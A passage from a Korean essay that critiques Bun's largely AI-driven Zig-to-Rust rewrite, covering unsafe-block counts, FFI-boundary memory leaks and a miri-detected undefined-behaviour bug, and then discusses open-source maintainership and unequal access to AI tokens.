커뮤니티가 추적한 카운트로는 Rust 버전에 unsafe 블록이 13,000개를 넘고, 자주 비교되는 [uv](https://github.com/astral-sh/uv)는 350,000줄에 73개다. 약 100배 차이. uv 저자 Charlie Marsh 본인이 이런 식의 기계적 rewrite에 대해 "200개의 알려진 이슈를 미지의 미지로 교환하는 것"이라고 평한 바 있다[^17]. 73 unsafe를 직접 책임지는 사람의 발언이라 무게가 다르다. 다만 이 13,000이라는 수치 자체는 Anthropic이나 Bun 공식 발표에 명시된 게 아니라 Theo 등 외부 커뮤니티가 PR을 분석해 셈한 결과라는 점은 짚어둘 필요가 있다.

이 비교는 사실 부당하다. uv는 임베디드 JavaScript 엔진이 없다. Bun은 JavaScriptCore라는 C++ 엔진을 embed한다. FFI 경계에서 unsafe가 광범위하게 등장하는 건 구조상 피할 수 없다. 그리고 Rust식 safe/unsafe 구분으로 보면, Zig는 ownership과 aliasing invariant를 Rust처럼 타입 시스템이 정적으로 강제하지 않는다. 따라서 Zig 코드를 Rust로 옮길 때 핵심은 기존에 인간 규율로 관리하던 invariant를 어디까지 safe Rust의 타입 시스템 안으로 옮기고, 어디까지 unsafe 영역으로 남길 것인가다.

그런데 진짜 비판은 절대 개수가 아니다. 13,000개 중 몇 개가 FFI 경계 때문에 필연적인지, 몇 개가 Zig idiom을 그대로 옮긴 결과인지를 구분하지 않으면 의미가 없다. 후자가 많을수록 검토 대상도 늘어난다.

근본 문제는 따로 있다. **테스트 99.8% 통과는 unsafe invariant를 검증하지 않는다.** 테스트가 증명하는 건 behavioral compatibility지 memory safety가 아니다. rewrite의 동기가 memory safety였는데, "99.8% 통과"는 그 동기에 답하지 않는다.

### Transliteration 비판

두 번째 비판은 더 구조적이다. PORTING.md는 576줄짜리 마이그레이션 가이드다. 그 안에 tokio/rayon/hyper/futures 사용 금지, async fn 금지가 명시되어 있다[^6]. Rust 생태계의 핵심 추상을 거의 쓰지 않고 Zig 아키텍처를 그대로 옮긴 셈이다. Sumner 본인도 The Register 인터뷰에서 아키텍처와 데이터 구조를 거의 그대로 옮겼다는 취지로 답했다[^2].

이 비판은 정확하다. 신중한 Rust rewrite라면 안전성을 개선할 수 있다. 그러나 기계적인 "Rust 모양" rewrite는 같은 버그를 보존하고, 새로운 aliasing 실수를 추가하면서, "Rust로 옮겼으니 안전하다"는 confidence 아래에 그것들을 묻는다. Theo는 이를 한 줄로 정리한다. "진짜 Rust를 짠 게 아니다. Rust 문법으로 C++를 짠 거다."[^7] 그는 이어서 두 가지를 짚는다. 첫째, AI 에이전트 기반 수정은 자주 마주치는 에러 경로를 우선 처리한다. 둘째, 그 경로는 Claude Code가 쓰는 경로와 일치한다. 결과적으로 Claude Code 경로는 단단해지고 나머지는 부실해지는 비대칭 안정화로 수렴할 가능성이 있다.

### FFI 경계: rewrite의 진짜 동기가 해결됐는가

가장 무게 있는 비판이 따로 있다. **rewrite의 동기 자체가 해결됐는지 의심받는다는 점이다.**

복기하면, rewrite의 직접 동기는 Bun의 만성 메모리 누수였다. 특히 Claude Code에서 메모리가 14GB, 일부 세션에서는 23GB까지 치솟는 문제. Rust로 옮긴다는 결정은 "Rust의 안전 모델이 이 누수를 잡아준다"는 전제 위에 있다.

근데 Rust의 안전 모델이 자동으로 잡는 메모리 버그는 사실 좁은 영역에 한정돼 있다. 어떤 게 들어오고 어떤 게 빠지는지부터 짚어야 한다.

#### safe Rust에서 자동으로 줄어드는 것

**safe Rust 영역 한정**으로, borrow checker와 RAII 모델이 컴파일 타임 + 런타임에 다음을 크게 줄여준다.

- **use-after-free**: ownership을 잃은 후 접근하면 컴파일 에러
- **double-free**: `Drop`은 정확히 한 번만 호출됨
- **error path forget-to-free**: `?` 연산자나 panic으로 함수가 일찍 종료되어도 RAII로 자동 cleanup

이 세 클래스가 시스템 프로그래밍에서 흔히 보던 메모리 버그의 큰 비중을 차지한다. C/C++의 manual memory management에서 가장 골치 아픈 영역. Rust로 옮긴다는 결정의 거의 모든 정당성이 여기서 나온다.

다만 한 가지 단서가 결정적이다. **`unsafe`, FFI, raw pointer, 외부 allocator, JS boundary가 끼어드는 순간 이 보장이 작동하지 않는다.** Sumner도 The Register 인터뷰에서 "Rust가 이 모든 걸 잡아주지는 않는다"고 명시적으로 인정했다[^2]. 즉 자동 검출은 safe Rust 안에서만의 약속이다.

#### Rust가 자동으로 못 잡는 것

다만 Rust의 안전 모델은 "메모리 누수"를 안전성 위반으로 정의하지 않는다. 공식 표준 라이브러리 문서가 명시적으로 그렇게 표현하고, `std::mem::forget`이 safe 함수인 게 그 증거다. 의도된 누수는 안전한 행위로 분류된다. 문제는 의도되지 않은 누수도 컴파일러가 안 잡는다는 점이다.

- **Logical leak**: `Vec<T>`나 `HashMap`에 reference를 넣고 영원히 안 비우면 누수. 컴파일러 입장에서는 정상 코드다. ownership과 lifetime이 어긋나지 않으니까.
- **순환 참조**: `Rc<RefCell<T>>`로 두 노드가 서로 참조하면 reference count가 0이 되지 않아 free가 안 된다. `Weak`로 명시적으로 끊지 않으면 그대로 남는다.
- **FFI 경계 메모리**: extern 블록에 선언된 외부 함수를 호출하는 건 unsafe operation이고, C/C++가 alloc한 메모리는 Rust 컴파일러의 추적 영역 바깥이다. JavaScriptCore 같은 embedded engine의 GC 객체나 libuv가 관리하는 핸들도 마찬가지.
- **Re-entrancy 누수**: JavaScript callback이 Rust 데이터 구조에 다시 진입하는 경로에서, 그 사이 만들어진 객체가 해제 타이밍을 놓치는 경우. Rust는 single-thread re-entrancy를 정적으로 추적하지 못한다.

표로 정리하면 이렇다.

| 메모리 버그 클래스         | safe Rust 자동 검출               | Bun 누수의 핵심 후보 |
| -------------------------- | --------------------------------- | -------------------- |
| use-after-free             | safe 영역 한정 (borrow checker)   | 가능성 낮음          |
| double-free                | safe 영역 한정 (`Drop`은 한 번만) | 가능성 낮음          |
| error path forget-to-free  | safe 영역 한정 (RAII)             | 일부 가능            |
| logical leak (참조 보유)   | 검출 안 함                        | 가능성 큼            |
| 순환 참조                  | 검출 안 함 (Weak 필요)            | 가능                 |
| FFI 경계 누수 (JSC, libuv) | 검출 불가 (unsafe 영역)           | **매우 가능성 큼**   |
| JS boundary re-entrancy    | 정적 추적 불가                    | 가능성 큼            |

#### Bun의 누수는 어디서 났는가

Bun은 JavaScriptCore를 embed하고, HTTP/socket 계층에서는 uSockets/uWebSockets 계열 라이브러리에 크게 의존한다. 플랫폼에 따라 libuv도 일부 포함된다. JavaScript 객체와 Rust/Zig 데이터가 상호 참조하는 구조다. **이 구조에서는 JS 엔진, 네이티브 네트워크 계층, 런타임 객체 사이의 ownership 경계가 복잡해질 수밖에 없고, 가장 누수가 잘 나는 영역이 정확히 FFI 경계와 JS boundary의 re-entrancy다.** Rust가 자동으로 못 잡는 영역.

Claude Code에서 메모리가 23GB까지 치솟는 패턴은 use-after-free 같은 single-allocation 버그로는 잘 안 나온다. reference를 너무 오래 들고 있거나, callback chain에서 cleanup이 누락되거나, FFI 경계에서 ownership transfer가 잘못된 경우에 나오는 패턴이다. 위 표의 아래쪽 영역.

#### 그래서 핵심 비판은

**Rust로 옮긴다고 자동으로 잡히는 클래스는 Bun이 원래 가장 골치 아파했던 누수 클래스가 아닐 가능성이 크다.** 누수는 여전히 unsafe 영역에서 발생할 것이고, unsafe 영역의 invariant는 인간이 보증해야 한다. 13,000개의 unsafe 블록이 그 보증 대상이다. 그리고 그 13,000개를 6일 안에 인간이 검토했을 가능성은 0에 가깝다.

Bun이 발표문에서 "메모리 누수 일부가 해결됐다"고 한 것이 거짓말은 아닐 것이다. error path forget-to-free 같은 클래스는 실제로 잡혔을 가능성이 크다. 다만 **rewrite의 진짜 동기였던 큰 누수가 잡혔는지는 다른 문제고, 그 답은 production에서 2-3개월 굴려봐야 나온다.**

### 이 비판들의 한계: 시간이 답한다

세 비판이 정당하더라도 결국 시간이 답한다. 그 외 비판도 마찬가지다. 99.8% 통과가 Linux x64 glibc에서만이라는 것 — macOS/Windows는 별도 검증이 필요하다. 테스트가 검증하는 건 관찰 가능한 상태 결과지 data race 부재가 아니다. 발표문에 구체적 성능 벤치마크 수치도 없다. unsafe invariant가 production에서 어떻게 깨지는지, FFI 누수가 실제로 해결됐는지, 비대칭 안정화가 일어나는지는 2-3개월에서 1년 사이에 데이터로 드러난다. 그 시점이면 이 논쟁은 정리된다.

이 글이 다루려는 핵심은 그 정리 가능한 논쟁이 아니다. 정리되지 않고 더 큰 함의를 가진 두 가지가 따로 있다.

## 메인테이너의 정의가 바뀌었다

OSS는 그동안 AI에 꽤 방어적이었다. 잘 알려진 정책들을 정리하면 이렇다.

- curl의 Daniel Stenberg는 AI 생성 가짜 CVE 리포트 폭증을 못 견뎌 결국 HackerOne 버그 바운티 프로그램을 종료했다. 전체 제출의 약 20%가 AI slop이었다[^9].
- Linux 커널 메인테이너 Greg Kroah-Hartman은 AI 생성 패치를 "mass spam과 동등하다"고 표현했다. 일부 subsystem 메인테이너는 AI 의심만으로 PR을 즉시 reject한다[^10].
- Zig는 PR/이슈/코멘트/번역에 AI 사용을 전면 금지한다. 메이저 OSS 중 가장 엄격한 정책이다[^11].
- GitHub는 AI slop 문제를 공식 인정했고, 대규모 자동 생성 PR에 대한 PR kill switch 같은 강경 대응을 검토 중이다. abuse detection이 일부 PR을 자동 분류한다[^12].

이 정책들에는 공통 전제가 있다.

> **메인테이너는 인간이고, 메인테이너의 일은 외부에서 들어오는 AI 노이즈로부터 프로젝트를 지키는 것이다.**

메인테이너의 권위는 본인이 책임지고 검토한다는 가정 위에서만 작동했다. Bun이 한 일은 이 전제를 뒤집은 거다. Sumner는 Rust 버전이 주로 Claude Code로 유지될 것이냐는 The Register의 질문에 "이건 이미 status quo다. 우리는 몇 달 동안 코드를 직접 타이핑하지 않았다"고 답했다[^2]. 메인테이너 본인이 AI가 된 거다.

### 96만 줄을 6일에. 검토는 어디에 있었나

먼저 "6일"이라는 숫자 자체를 한 번 짚을 필요가 있다. PR 자체는 6일이 맞다. 하지만 그 6일은 빙산의 일각이다. Bun 레포 commit 히스토리를 보면 `bun_collections` 디렉터리는 인수 발표 5개월 전인 2025년 7월에 이미 등장했다[^15]. Zig 측 코드에는 `bun.ptr.Owned`, `bun.ptr.Shared`, `bun.ptr.AtomicShared` 같은 스마트 포인터 추상이 사전에 도입되어 있었고, PORTING.md §Pointers는 이를 `Rc`, `Arc` 같은 Rust 타입에 1:1로 매핑하는 가이드까지 명시했다. PR 직전(2026년 5월 초)에는 대규모 `src/` 재구성도 있었다. 즉 **rewrite는 인수 협상 시점부터 점진적으로 준비된 작업**이고, "6일 만에 머지"는 마지막 단계의 시간일 뿐이다.

이 사실이 글의 thesis를 약화시키지는 않는다. 오히려 강화한다. 토큰 접근성과 자본이 있으면 **사전 준비 5개월 + AI 머지 6일**이라는 형태로 시간을 압축할 수 있다는 게 핵심이다. 다만 "6일"이라는 수사 자체는 일종의 마케팅 어휘라는 점은 분명히 짚어두는 게 글의 신뢰도에 좋다.

시간당 2,000-5,000줄을 단순히 훑는다고 해도 192-480시간이 필요하다. 매일 8시간씩 쉬지 않고 읽어도 24-60일이 걸리는 양이다. 그런데 시스템 코드의 의미, unsafe invariant, FFI ownership, 테스트 커버리지까지 검토하는 리뷰라면 실제 비용은 그보다 훨씬 커진다. 6일 안에 사람이 의미 있는 수준으로 검토했다고 보기는 어렵다. 사전 준비 단계에 검토가 분산되어 있었을 가능성은 있지만, 그게 어떤 형태였는지는 외부에서 확인할 수 없다.

외부에서 100줄짜리 AI PR이 들어오면 메인테이너가 검토할 수 있다. 96만 줄의 내부 AI 머지는 검토 자체가 불가능하다. 이 비대칭이 정책의 사각지대다.

> **외부 AI는 거부할 수 있어도, 내부 AI를 거부할 메커니즘은 아예 없다.**

그동안 잘 작동하던 OSS 방어막은 외부에만 쳐져 있었다. 내부는 무방비였는데, 메인테이너들이 AI를 본격적으로 쓰지 않았으니 문제가 드러나지 않았을 뿐이다.

OSS의 AI 거부가 작동했던 진짜 이유는 도덕적 신념이 아니다. 시스템 코드는 짜기 어렵고, 메인테이너 대다수가 보수적인 시니어고, 검토자 capacity에 한계가 있어 외부 AI PR이 압도하면 운영이 마비됐기 때문이다. 모두 AI 능력이 부족하거나 운영 비용이 클 때만 작동하는 시간차 방어였다.

이 시간차가 사라지면 어떻게 되는가. Bun이 답을 보여줬다. 그냥 무너진다.

### 검토 부재의 직접 증거: 이슈 #30719

추상적 우려가 아니라는 직접 증거가 PR 머지 직후 며칠 만에 나왔다. safe API의 캡슐화가 깨지는 UB 사례, 이슈 #30719다[^14].

**UB(Undefined Behavior)**는 언어 명세가 결과를 보장하지 않는 코드 상태다. use-after-free, aliasing 위반, 초기화 안 한 메모리 읽기 같은 게 대표적이다. UB가 발생하면 정상 동작할 수도, 크래시할 수도, 데이터를 조용히 손상시킬 수도 있다. 컴파일러는 UB가 발생하지 않는다고 가정하고 최적화하기 때문에 다른 코드의 동작까지 예측 불가능해진다. Rust의 핵심 가치는 "safe Rust에서는 UB가 컴파일 타임에 차단된다"는 것이고, 그래서 **safe API를 호출하기만 했는데 UB가 나오는 건 Rust 코드에서 가장 심각한 종류의 버그다.**

이슈 #30719는 `PathString::init`이라는 평범한 safe API에서 시작한다. signature만 보면 위험할 게 없다. `&[u8]` reference를 받아 자기 자신(`Self`)을 반환한다. 그런데 내부 구현이 unsafe 블록에서 lifetime을 erase한다. **입력 reference의 lifetime을 추적하지 않고 `'static`으로 강제 변환한다는 뜻이다.** 결과는 원본 데이터가 drop된 후에도 그 포인터를 들고 있는 `PathString` 인스턴스가 만들어지는 것. use-after-free와 invalid aliasing이 가능한 상태가 된다.

Rust의 UB 탐지 도구인 miri가 이 패턴을 즉시 잡았다. 다음 코드만으로 UB가 검출된다.

```rust
let test = Box::new(*b"Hello World");
let init = PathString::init(&*test);
drop(test);

println!("{:?}", init.slice());  // UB: dangling reference
```

이게 결정적인 이유는 **safe API를 정상적으로 사용하는 것만으로 UB가 발생한다**는 점이다. 호출자가 `unsafe` 키워드를 쓴 적이 없다. unsafe 블록은 `PathString` 내부에 있고, 호출자 입장에서는 일반 safe 코드를 작성한 것뿐이다. unsafe 캡슐화가 실패했다는 직접 증거다.

Bun 팀의 공식 대응은 PR #30728이다. 두 가지를 한다.

1. `PathString::init`과 `dir_iterator::next()`를 `unsafe fn`으로 표시한다. 즉 호출 자체가 unsafe context를 요구하게 바꾼다.
2. **약 70개 in-tree call site 각각에 SAFETY 주석을 사후에 추가한다.** outlives contract도 같이 문서화한다.

두 번째가 핵심이다. **처음 머지될 당시 그 70개의 SAFETY 보증이 명시적으로 작성되지 않은 채 main에 들어갔다는 자체 인정이다.** "AI가 SAFETY 주석을 의무화했다"는 PORTING.md 규칙이 실제 머지 시점까지 작동하지 않았다는 뜻이기도 하다. **인간 검토가 없었다는 thesis의 가장 직접적인 코드 증거다.**

이슈 보고자는 여기서 멈추지 않았다. 첫 UB를 찾은 뒤 몇 분 안에 또 다른 UB를 추가로 발견했다.

```text
error: Undefined Behavior: trying to retag from <wildcard> for Unique
permission at alloc309[0x0], but no exposed tags have suitable
permission in the borrow stack for this location
```

PathString 하나의 개별 실수로 끝난다고 보기 어렵고, **비슷한 lifetime erasure 패턴이 다른 곳에도 있을 수 있다는 강한 신호**다. 보고자 코멘트: "이건 Rust를 20시간만 써본 사람도 안 만들 실수다. 몇 분 만에 이 정도 찾았는데 우리가 모르는 게 얼마나 있을지 모르겠다."

같은 시점에 Jarred Sumner는 X에 **Rust 경력자 채용**을 언급했다. 적어도 이 정도 규모의 Rust 코드베이스를 장기적으로 운영하기 위한 전문 인력을 추가로 필요로 했다는 신호로 볼 수 있다. 다만 이것만으로 머지 시점에 팀 내부에 Rust 전문성이 전혀 없었다고 단정할 수는 없다.

옹호 측에서는 "canary version이고 공식 릴리즈가 아니니 버그는 자연스럽다"고 반박한다. 일리는 있다. 다만 두 가지가 그 반박을 약화시킨다. 첫째, **96만 줄 PR을 main branch에 머지한 결정 자체가 "canary니까 괜찮다"의 일반적 기준을 벗어난다.** 둘째, 발견된 UB는 ad-hoc edge case가 아니라 `PathString::init` 같은 기본 API에 있는 시스템적 패턴이다.

13,000개 unsafe 블록의 SAFETY 주장이 실제로 검증된 보증인지, 아니면 사후적으로 붙은 자기보고에 가까운지 의심할 이유는 이제 충분하다.

### Sumner의 비전, 그리고 GitHub의 모순

Sumner는 한 발 더 나갔다. X에 "OSS가 반대 방향으로 갈 것이다 — 인간 기여 금지. 사람들은 여전히 이슈와 우선순위를 논의하지만, 실제 코드 작성, PR 제출, 피드백 대응, 구현 행위는 LLM이 할 것이다"라고 적었다[^6]. 흘려들을 발언이 아니다. OSS 거버넌스의 핵심 모델이 끝났다는 선언에 가깝다.

상징적인 사건도 있다. Bun에서 Zig 소스 파일 60만 줄 이상을 제거하는 PR이 GitHub의 자동 시스템에 "AI slop"으로 분류되어 닫혔다[^2]. 그런데 닫힌 PR이 사실 옳았다. Anthropic이 자기 코드를 머지하려는데 GitHub 플랫폼이 막은 거니까. 작은 사건이지만 큰 신호다. 플랫폼조차 이 종류의 변경을 어떻게 분류해야 할지 모른다는 신호.

### Zig가 보여준 거버넌스의 한계

Zig 케이스는 이 thesis를 가장 직접적으로 증명하는 외부 evidence다. Bun은 Rust로 옮기기 전부터 이미 Zig 본가가 아닌 자체 포크를 쓰고 있었다[^2]. Zig 메인테이너들은 AI 정책 여부와 무관하게 Bun 같은 대규모 변경을 Zig 본가에 받지 않겠다는 입장이었다. 즉 Zig 거버넌스는 작동했다. 그러나 그 거버넌스로 막을 수 있었던 건 "Bun이 Zig에 더 기여하는 것"까지였다.

**"Bun이 Zig를 떠나는 것"은 거버넌스가 다룰 수 있는 범위 밖이었다.** Bun이 Rust로 옮기는 데 Zig 거버넌스의 동의는 필요하지 않다. 메인테이너 본인이 자기 프로젝트의 언어를 바꾸겠다는데 외부 OSS 거버넌스가 개입할 수 있는 메커니즘이 없다. 그래서 가장 엄격한 AI 정책을 가진 언어 커뮤니티조차, 그 언어의 가장 큰 사용자가 AI 도구로 언어 자체를 떠나는 시나리오에는 무력했다.

이게 글의 핵심 thesis를 가장 강하게 보여주는 사례다. **외부 AI 기여는 OSS 거버넌스로 막을 수 있다. 내부 AI는 못 막는다. 그리고 외부 vs 내부 경계가 어디인지는 메인테이너 본인의 선택이다.** Zig는 이 비대칭의 가장 깨끗한 case study다.

## 토큰 접근성이 새 변수가 됐다

메인테이너 재정의보다 더 큰 게 따로 있다.

지금까지 개발자 평가의 핵심 변수는 능력이었다. 도구는 누구나 비슷하게 접근할 수 있었으니까. git, IDE, 컴파일러, Stack Overflow 모두 무료다. 능력이 격차의 거의 전부였다. 인터넷 시대 디지털 격차도 한 번 깔리면 추가 비용이 거의 없어, 한 세대가 지난 뒤에는 평준화됐다.

AI 시대에 변수 하나가 추가됐다. 토큰 접근성. 사용량에 비례해 비용이 계속 들어서 평준화되지 않는다.

### 토큰 접근성의 계층

| 위치                     | 비용 부담 주체 | 실질 제약                                     | 접근 가능한 자원                                        |
| ------------------------ | -------------- | --------------------------------------------- | ------------------------------------------------------- |
| 무료 사용자              | 개인           | 강한 rate limit                               | 공개 모델                                               |
| 일반 구독자              | 개인           | 월 구독 한도                                  | 공개 모델                                               |
| Max/Pro 구독자           | 개인           | 높은 한도, 여전히 개인 비용                   | 공개 모델                                               |
| 일반 회사 직원           | 회사           | 보안 정책, 부서 예산, 사용량 제한             | 공개 모델 + 사내 도구                                   |
| AI 회사 직원             | 회사           | 내부 정책에 따름, 개인보다 훨씬 유리          | 공개 모델 + 제품 개발 인프라                            |
| AI 제품의 핵심 인프라 팀 | 회사/제품 조직 | 외부에서 한도 확인 불가, 전략적 우선순위 높음 | 모델, 에이전트, 배포, 테스트, 관측 인프라와 결합된 환경 |

Sumner가 96만 줄을 6일에 머지할 수 있었던 이유를 개인 능력만으로 설명하면 안 된다. 물론 그는 Bun의 Zig 시스템을 깊이 이해했고, PORTING.md 576줄에 기존 아키텍처와 이식 규칙을 명시할 수 있었다. 그 자체가 중요한 능력이다. 그러나 더 결정적인 변화는 그 능력이 놓인 자원 환경이다.

Bun이 Anthropic에 인수된 뒤, Bun 팀의 생산 조건은 일반 개인 기여자와 완전히 달라졌다. Anthropic은 2025년 12월 Bun을 인수하면서 Claude Code 가속화를 명시적 목적으로 들었다. Bun은 더 이상 독립적인 개인 메인테이너 OSS가 아니라, Anthropic의 AI coding product를 떠받치는 핵심 인프라가 된 것이다.

외부에서 실제 토큰 한도, 내부 모델 접근 범위, 에이전트 인프라의 구체적 구성까지 확인할 수는 없다. 그러나 이 불확실성이 핵심 주장을 약화시키지는 않는다. 중요한 건 정확한 한도 숫자가 아니라 위치 변화다. 같은 사람이 같은 실력을 갖고 있더라도, 월 $20 구독자 환경과 Anthropic 내부의 제품 인프라 환경은 같은 생산 조건이 아니다. 인수가 없었다면 같은 속도, 같은 규모, 같은 확신으로 추진되기는 어려웠을 것이다. **Bun rewrite는 개인 능력의 폭발이라기보다, 능력 있는 메인테이너가 자본과 AI 인프라에 결합했을 때 OSS 생산성이 어떻게 달라지는지를 보여준 사건이다.**

### Mythos: 검증 가능성의 비대칭

Anthropic의 "Mythos" 모델 발표도 같은 비대칭을 보여준다. Mythos는 수천 개의 zero-day 취약점을 발견했다고 발표됐지만, 외부 검증에서 그 수치는 198개의 수동 검토 결과를 외삽한 것이었다[^13]. 외부인은 모델의 실제 능력, 평가 방식, 접근 조건을 검증하기 어렵다. **AI 회사 내부에서만 접근 가능한 모델과 도구가 늘어날수록 공개 생태계의 검증 가능성은 낮아진다.** Bun rewrite와 직접 연결된 사건은 아니지만, 같은 비대칭의 구조적 유사 사례다.

### 함의

세 가지 결과가 따라온다.

**1. 회사와 개인의 생산성 격차가 커질 가능성이 높다.** OSS의 미덕 중 하나가 대기업 엔지니어와 야간 개인 기여자가 같은 무대에 설 수 있다는 점이었다. Linus Torvalds가 핀란드 학생일 때 Linux를 시작한 것처럼. AI 회사 내부 인프라와 결합된 OSS는 개인 메인테이너 OSS보다 훨씬 빠른 속도로 움직일 수 있다. 외부에서 정확한 토큰 한도나 모델 접근 조건을 확인할 수 없으므로 "얼마나 큰 격차냐"는 단정할 수 없지만, 방향은 분명하다.

**2. "실력만 있으면 어디서든 빛난다"는 신화가 약해진다.** 능력만 있고 자원이 없으면 평가받을 기회조차 없는 환경이 만들어진다. 좋은 회사에 들어가는 것, 본인 회사를 차리거나 fundraising하는 능력이 예전보다 더 결정적이 된다. 순수 기술 스킬로는 닫지 못하는 영역이 늘어난다.

**3. OSS 생태계가 자본화된다.** Bun처럼 자본 있는 조직이 인수한 OSS만 빠르게 발전하고, 개인 메인테이너 OSS는 상대적으로 정체된다. 어떤 OSS를 쓰느냐가 어떤 자본 뒤에 있느냐의 문제로 바뀐다.

여기서 가장 어두운 건 **개인이 개선할 수 있는 변수가 아니라는 점이다.** 능력은 노력으로 키울 수 있어도, 본인 위치를 토큰 접근 가능한 환경에 두는 건 노력만으로 안 된다. 운, 타이밍, 인맥, 시장 상황이 다 작용한다.

## 그래서 개발자의 일은 어떻게 바뀌는가

2-3년 시야로 보면 시니어 엔지니어의 일은 코드 작성에서 AI 감독으로 옮겨간다. 여기까지는 합리적으로 확신할 수 있다. 다만 "AI 감독"이라는 표현이 너무 추상적이라 별 의미가 없다. 구체적으로 무엇이 비싸지는지를 짚어야 한다.

핵심은 **암묵지의 언어화 능력**이다.

Sumner가 한 진짜 일은 Rust 코드 작성이 아니다. Zig 시스템의 모든 idiom을 PORTING.md 576줄에 명시적으로 옮긴 것이다. 그 576줄이 96만 줄을 만들었다. **문서가 코드를 생성하는 시대다.**

코드베이스의 "왜 이렇게 됐는가"를 글로 옮길 수 있는 능력은 AI 시대에 가장 비싸지는 스킬이다. 코드는 AI가 짤 수 있지만, 어떻게 짜야 하는지에 대한 컨텍스트는 결국 인간이 줘야 한다. 이 컨텍스트는 코드만 봐서는 안 나온다.

- 팀이 6개월 뒤에 onboarding할 신입의 인지 부하
- 옆 팀이 다음 분기에 요청할 가능성이 있는 기능의 확장성
- 회사의 정치적 이유로 이 모듈은 절대 X팀에 의존하면 안 된다는 제약
- 3년 전 결정으로 시스템이 가진 path dependence

이런 제약은 문서에 없는 컨텍스트에 있다. 명시적으로 언어화해야만 AI에 전달할 수 있다. **그 언어화 자체가 설계 작업의 핵심이다.** 코드를 짜는 능력이 아니라 코드를 어떻게 짜야 하는지를 글로 옮기는 능력. 후자가 전자보다 비싸지는 게 향후 2-3년 개발자 직업의 가장 큰 변화다.

OSS 기여자 풀도 갈라질 수 있다. 다수는 AI 의존 기여자로 가고, 소수는 의도적 비AI 기여자로 남는 시나리오가 가능하다. 후자가 양적으로 줄어도 문화적 위상은 오히려 올라가는, "이 코드는 인간이 직접 짰고 인간이 검토했다"가 보증서처럼 작동하는 시점.

다만 함정이 있다. 그 보증서를 외부에서 검증할 방법이 마땅치 않다. 앞서 Mythos 부분에서 짚었듯 AI 사용 여부 자체가 점점 검증 불가능한 변수가 되고 있다. organic, fair-trade 라벨도 인증 인프라가 있어야 작동한다. 인증 인프라가 없으면 자기 보고일 뿐이고, 그건 보증서로서 한계가 분명하다. 결국 "비AI" 라벨이 정말 가치로 작동하려면 그 라벨을 객관적으로 보증하는 메커니즘이 먼저 자리 잡아야 한다. 그게 가능한지는 또 다른 문제다.

## 이 그림이 다 틀릴 수 있는 세 가지 경로

여기까지의 분석은 세 가지 전제 위에 서 있다. 셋 중 하나만 깨져도 그림이 바뀐다. 내 주장의 약한 부분을 짚어둔다.

### 1. AI 성능 향상이 둔화된다

여기까지의 그림은 AI가 지금 속도로 계속 발전한다는 전제 위에 있다. 만약 모델 성능 향상이 지금보다 둔화된다면 — 가능성이 0은 아니다 — AI 기반 대규모 rewrite가 일반화되는 속도도 늦춰진다. 시니어 엔지니어의 자리가 더 오래 간다. 토큰 접근성 격차도 덜 벌어진다. 이게 plateau 시나리오의 단순 버전이다. 다만 모델 성능 둔화 여부 자체는 이 글의 본론과 결이 다른 큰 주제라 여기서는 깊이 들어가지 않는다.

### 2. 토큰 비용이 떨어지지 않는다

비용이 떨어지지 않는 게 더 심각한 시나리오다. AI 능력은 계속 좋아지는데 운영 비용이 폭증해서 자본 있는 조직만 쓸 수 있는 경우. Claude Code가 출시 후 한도 논란을 일으킨 게 이 시나리오의 전조일 수 있다. 모델이 좋아질수록 컴퓨트 비용이 더 든다면, 비대칭은 갈수록 더 커진다.

이 시나리오에서는 본인이 토큰 접근 가능한 환경에 있는 것의 가치가 폭발한다. 앞서 그린 비대칭의 가장 어두운 버전이다.

### 3. Legal/regulatory 환경이 바뀐다

법적 환경도 변수다. EU AI Act는 단계적으로 시행 중이고, AI 생성물 표시와 학습 데이터 투명성 논의를 제도권으로 끌어올렸다. Copilot 저작권 소송(Doe v. GitHub, "Doe"는 익명 원고를 가리키는 영미법 표기)은 2022년 익명의 GitHub 사용자들이 GitHub/Microsoft/OpenAI를 상대로 제기한 class action으로, Copilot이 OSS 코드를 라이선스 표시 없이 학습·출력한 게 침해인지를 다툰다. 이 소송과 미국 저작권청의 AI 생성물 판단 모두 아직 완전히 정리되지 않았다. 결국 **"AI로 생성한 코드를 OSS 라이선스로 배포할 때 권리와 책임이 어디에 있는가"** 는 아직 닫힌 문제가 아니다. 이 쟁점이 구체화되면 Bun식 모델도 영향을 받을 수 있다.

세 시나리오 다 진지하게 볼 변수다. 앞서 그린 그림은 가장 확률 높다고 본 시나리오일 뿐이지, 결정된 미래는 아니다.

## 그래서 Bun은 어떻게 될까

마지막으로 Bun이라는 구체 사례의 향후 2-3년을 짚어두면 분석이 더 손에 잡힌다.

가장 확실한 것부터. **단기적으로 Bun이 사라질 가능성은 낮다.** Anthropic이 소유하고 있고 Claude Code의 핵심 인프라다. 자원이 계속 투입되는 한 Rust 버전이 production에서 안정화될 가능성은 높다. 시간 문제에 가깝다.

문제는 **어떻게 살아남느냐**다. 가장 가능성 높은 시나리오는 비대칭 안정화. Claude Code가 자주 쓰는 경로(런타임, JS 실행, 표준 API)는 빠르게 단단해진다. AI 에이전트가 그 경로의 버그를 우선 처리하고 회귀 테스트도 그쪽에 집중되니까. 반면 Claude Code의 핵심 경로와 덜 겹치는 영역, 예를 들어 일부 monorepo 도구, 패키지 관리의 edge case, Windows 지원 같은 부분은 상대적으로 늦게 안정화될 가능성이 있다. Bun이 "Claude Code 의존성으로는 훌륭하지만 일반 개발자 도구로는 애매한" 포지션으로 수렴할 가능성이 있다.

두 번째 위험은 **cognitive debt**다. AI가 짠 코드를 AI가 유지하는 사이클이 누적되면, Anthropic 내부에서도 코드베이스의 mental model을 가진 사람이 점점 줄어든다. 위기 상황(보안 취약점, 데이터 손실 류 사고)에서 인간이 root cause를 빠르게 추적하지 못하는 상태가 될 수 있다.

다만 이 논증에는 분명한 반박이 있다. AI는 인간과 달리 매번 context를 코드에서 새로 빌드할 수 있다. 인간의 cognitive load 모델(forgetting curve, context switching cost)을 그대로 AI에 적용하는 게 정당한지는 명확하지 않다. AI가 짧은 시간 안에 전체 코드베이스를 다시 읽고 추론할 수 있다면, "mental model을 유지하는 사람의 수"가 그렇게까지 결정적인 변수가 아닐 수도 있다. cognitive debt는 인간 한정 문제고 AI에는 비대칭적으로 가벼울 가능성이 있다는 뜻이다. 어떻게 보든 검증 방법은 같다. 첫 진짜 critical 이슈가 났을 때 누가 root cause를 추적하고, 얼마나 빠른지. 인간 cognitive debt가 정말 문제였다면 그 시점에 드러난다.

